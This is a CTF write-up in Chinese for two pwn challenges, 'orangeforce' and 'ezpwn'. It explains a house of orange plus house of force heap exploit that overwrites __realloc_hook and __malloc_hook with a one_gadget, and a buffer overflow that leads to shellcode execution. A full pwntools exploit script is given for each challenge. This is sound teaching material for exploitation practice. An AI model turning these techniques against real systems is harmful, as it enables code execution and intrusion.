orangeforce
house of orange + house of force
,无edit
和delete
,限制创建堆块数量六个,可以溢出8
字节,创建堆块之前还要先创建一个character
才能去创建堆
int add_character()
{
if ( flag == 1 )
return puts("Your character has been created.");
fwrite("Name: ", 1uLL, 6uLL, stdout);
getchar();
read(0, &byte_202060, 0x14uLL);
...
flag = 1;
return puts("Created.");
}
先利用house of orange
缩小top chunk
的大小,但要保证修改的大小加上top chunk
的地址最后三位为0
,再创建一个比top chunk size
更大的堆使得top chunk
被释放进unsorted bin
,此时得到libc
地址,最后申请一个堆获得堆地址
泄露完地址再利用house of force
,改top chunk size
为-1
,再申请target - top_chunk - 0x20
大小的堆,使得top chunk
落在target
,这里需要改malloc_hook
,但是直接改malloc_hook
为ogg
不能打通,所以需要利用realloc_hook
,即将top chunk
落在realloc_hook
,最后申请一个堆改realloc_hook
为ogg
、改malloc_hook
为realloc + 2
此时已经用掉了六个堆,还需要创建一次堆触发ogg
,利用scanf
输入很长一段字符串可以导致scanf
内部扩展缓冲区从而调用init_malloc
来分配更大的空间的特性在scanf
时输入很长的内容来malloc
触发ogg
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add_c(name, STR, DEF, DEX, ACC, INT):
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Name', name)
r.sendlineafter(b'STR', str(STR))
r.sendlineafter(b'DEF', str(DEF))
r.sendlineafter(b'DEX', str(DEX))
r.sendlineafter(b'ACC', str(ACC))
r.sendlineafter(b'INT', str(INT))
def add(size, content):
r.sendlineafter(b'>', b'3')
r.sendlineafter(b'Size', str(size))
r.sendafter(b'Power', content)
def show(index):
r.sendlineafter(b'>', b'4')
r.sendlineafter(b'Index', str(index))
add_c(b'a', 1, 1, 1, 1, 1)
add(0x18, b'a' * 0x18 + p64(0xd81))
add(0x1000, b'a')
show(0)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b"\x00")) - 0x3ebca0
libc = ELF('./libc-2.27.so')
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = libc_base + one[1]
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
add(0x1d0, b'a')
show(2)
r.recvuntil(b'\x7f')
r.recv(7)
top_chunk = u64(r.recv(11)[-8:].ljust(8, b'\x00')) + 0x21920
add(0xb88, b'a' * 0xb88 + p64(0xffffffffffffffff))
size = realloc_hook - top_chunk - 0x20
add(size, b'a')
add(0x1000, b'a' * 0x8 + p64(ogg) + p64(realloc + 2))
r.sendlineafter(b'> ', b'0' * 0x1000)
r.interactive()
ezpwn
exec
函数可以执行shellcode
,但要通过isAdmin
的判断,所以要先通过Login
改isAdmin
为1
,Login
中的password
为SuperSecurePassword123!
,而要用Login
首先要把v5
改成0
,所以通过Send Message to Admin
功能溢出v4
将v5
覆盖成0
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'>', b'2')
r.sendlineafter(b'>', b'\x00' * 56)
r.sendlineafter(b'>', b'1')
r.sendlineafter(b'Password', b'SuperSecurePassword123!\x00')
r.sendlineafter(b'>', b'4')
shellcode = asm(shellcraft.sh())
r.sendlineafter(b'Shellcode', shellcode)
r.interactive()